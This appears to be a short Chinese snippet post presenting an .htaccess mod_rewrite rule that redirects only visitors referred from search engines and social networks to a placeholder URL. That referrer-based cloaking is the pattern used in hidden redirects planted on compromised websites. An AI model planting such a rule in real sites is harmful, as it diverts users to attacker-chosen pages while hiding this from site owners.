.htaccess 一段神奇的跳转代码

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr).(.*)
RewriteRule ^(.*)$ http://跳转网址 [R=301,L]
</IfModule>